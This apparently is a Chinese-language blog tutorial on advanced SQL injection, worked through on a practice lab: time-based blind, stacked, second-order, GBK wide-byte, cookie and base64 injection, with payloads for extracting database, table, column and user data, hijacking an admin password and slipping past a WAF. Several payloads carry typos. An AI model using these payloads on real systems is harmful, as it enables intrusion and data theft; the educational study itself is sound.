Top10--SQL注入--进阶篇

1.时间注入：

在这个页面中，不管我们输入什么就只能显示 you are in 说明不管我们输入的语句不管对不对就只显示这个字符串，无法判断任何信息，也没有回显，所以此时我们可以看一下页面的反应时间，来判断信息，就像Boolean注入一样。
输入：
’ and if(length(database())>1,sleep(5),1)–+
不要忘记注释单引号

在火狐浏览器中F12，网络，查看页面的反应时间。


此现象说明存在SQL注入，我们的代码被带入数据库中，并执行了。

下面是源代码。

接下来猜数据库名的长度，我们要不断改变if()里面的条件，最后我们执行if(length(database())>8,sleep(5),1)的时候发现，页面响应的时间变短了，没有执行sleep(5)，说明数据库名的长度是8个字符串

接着猜数据库名：
输入：
**’ and if(substr(database(),1,1)=‘s’,sleep(5),1)–+**查看页面的响应时间

下面的步骤和执行Boolean注入时候一样，需要慢慢判断。
看我的另一篇文章Boolean注入详解：
https://editor.csdn.net/md/?articleId=104829118

主要代码：
’ and if (substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘e’,sleep(5),1)–+
’ and if(sunstr((select column_name from information_schema.columns where column_name=‘emails’),1,1)=’?’,sleep(5),1)–+

时间注入在页面没有回显且没有任何报错信息的时候使用，通过查看页面的反映时间来判断是不是存在注入漏洞。

2.堆叠注入
堆叠注入可以执行多条语句，用 ; 分开，利用这个特点就构成堆叠注入，在;后面输入我们想要执行的语句。这里要和union注入分开，union注入执行的语句有限。而堆叠注入可以执行任意我们想要的语句。

堆叠注入可以实现很多的语句如果开发者没有对；进行限制，那么就可以利用这个点，实现很多想法。单数不要忘记注释单引号。堆叠注入的使用条件很有限。

堆叠注入实验方式：输入：id=1;–+

输入：id=2 ; select id=3–+ 只输出id=2时候的页面；所以说我们往往可以利用堆叠注入进行数据的增添，修改，删除，或者进行时间盲注等操作。
例：
时间盲注：
select * from users where id=‘1’ ; select if(length(database())>1,sleep(5),1)–+
select * from users where id=‘1’ ;select if(substr(database())=‘s’,sleep(5),1)

3.二次注入：
实验：
初始页面，进行二次注入。

所有可以点击的链接尝试一遍，决定注册一个新用户。

用户名和密码都是111
打开PHPmyadmin查看数据内容：
成功被写进数据库。

接下来注册一个恶意的用户名和密码
admin’# 132456

查看数据库：

成功被写进数据库，说明在注册页面的源代码中，特殊字符没有被过滤，当第二次数据库就把它当做安全的数据取出来使用。这样就很容易造成二次注入。
源代码如下（注册界面）：

接下来admin’#的重置密码：123456

查看数据库：
修改界面的源代码：
直接取出用户名和密码，没进行特殊处理。

更新用户名和密码的部分：

当我们输入admin’# 123456的时候，代码被改变：
sql="update users password='1234560 where username=‘admin’#

注入成功，我们可以用admin身份来进行登录了。

登录页面的源代码：

可以看出就使用了mysql_real_escape_string函数对输入的特殊字符进行了简单地转义，使得恶意代码被从数据库中拿出来。

所谓二次注入，就是第一次注入为第二次注入做铺垫，最好的情况就是输入数据库，和从数据库中拿出来的数据，都不进行特殊字符的检查。每次分别的注入没有威力，合在一起就有威力了，肯定涉及构造的数据一进一出数据库。

4.宽字节注入：
因为MySQL数据库编码采用了GBK编码，所以可以宽字节注入。安全问题主要出现在字符集转换过程中。

首先输入：
id=1; id=1 and 1=2;显示没有任何异常

接下来输入：id=1’ ; id=1’ --+ ; id=1’ and 1=2;显示仍然正确，但是出现了’

说明在数据库查询的时候id是被单引号包围的，又说明传入的单引号字符被转义符转义了，暗含此处不包含注入漏洞，但是有一种情况比较例外，就是数据库用gbk编码的时候。简单说就是用来对汉字编码的一种方式。

宽字节注入实现过程：
注入之前要知道：
%df%5c 在gbk编码下是一个繁体汉字
%5c是反斜杠的编码
源码：

1’变成1’

在进行MySQL查询之前，将字符集设置为gbk编码。
所以1’被当做%5c%27被传入
MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;进行内部操作前将请求数据从character_set_connection转换为内部操作字符集。

PHP函数：check_addslashes()返回在预定义的字符前添加反斜杠的字符串。
预定字符：单引号（’） 双引号（"）反斜杠（) NULL

补充：mysql中的转义函数：
1.check_addslashes()
2.mysql_real_escape_string()
3.mysql_escape_string()
被转义的字符：\x00 \n \r \ ’ " \x1a

所以可以看出，不安全的问题出现在：
1.不安全的字符集设置函数
2.使用转移函数进行了一次转码

当我们输入id=1’的时候，被转义成id=1’所以造成无法逃逸单引号。
我们输入id=1%df’,就变成了id=1%df%5c在加上注释符#，就可以逃逸了。
为什么？
GBK编码的编码范围是0×8140~0xFEFE(不包括xx7F)，在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c，因此弄掉‘\’，而%27、%20小于ascii(128)就保留了。

可以看到在数据库中，执行的结果是一样的。
逃逸了单引号之后再看，能用什么注入方法。因为页面有明显的回显信息，和错误提示。我们就可以利用union注入，还有报错注入。

利用order by尝试判断可选字段数目

接下来，union联合查询，判断注入点。

可以看到，在2,3处可以执行注入语句。

输入：
id=-1%df’ union select 1,database(),3 --+ 获得数据库名

id=-1%df’ union select1,(select table_name from information_schema.tables where table_schema = ‘security’ limit 0,1),3 --+ 获得表名–这是不对的 ‘security’的单引号会被转义
id=-1%df’ union select 1,(select table_name from information_schema.tables where table_schema = (database()) limit 0,1),3 --+

id=-1%df’ union select 1,(select column_name from information_schema.columns where table_schema = (select database()) and table_name = (select table_name from information_schema.tables where table_schema = (database()) limit 0,1) limit 0,1),3 --+获得字段名

id=-1%df’ union select 1,(select id from security.users limit 0,1),3 --+ 获得字段的值

5.cookie注入：

在登录框内随便输入一些东西，总是显示出红色字体，似乎不太友好。而URL中没有get参数。有的参数是通过cookie传入的，所以我们利用火狐浏览器的插件，查看一下cookie参数。cookie quick manager,插件名称。

cookie注入的实质就是注入点在cookie上。

从这个图中可以看出，cookie部分是可以被带进数据库的，然而在本地的浏览器中存储cookie的内容，进而我们可以对cookie的内容进行改变。

在插件的页面，可以看到：

uname=value 大概是一个这样的键值对。

页面显示错误，说明存在cookie注入的漏洞。
修改cookie的值来达到注入的目的。
（此处其实也可以使用报错注入）在这演示union注入。有很详细的回显。


使用order by 来判断可选字段的数目。

看到可以输入恶意代码的地方是第二个和第三个字段。
下面的步骤和union注入一样

union注入可以看这篇文章。不赘述了。
https://editor.csdn.net/md/?articleId=104829118

6.base64注入攻击



从源代码中看出，将对应的值，解码后直接拼接到SQL语句。

base64注入只不过是将cookie中的值base64编码了一下，查看cookie内容，decode即可，发送恶意代码，base64encode一下即可。

攻击方式的其他利用场景：绕过WAF检测。经过base64编码的恶意代码有可能不能被WAF检测到。

个人想法：之前用到# --+ %23 等多种注释符，有的可以使用，有的不可以取决于开发者想要怎么过滤传入数据库的值，现在又出现了一个base64编码绕过技术。可以想到一种绕过检测的方式。不同数据格式的转变。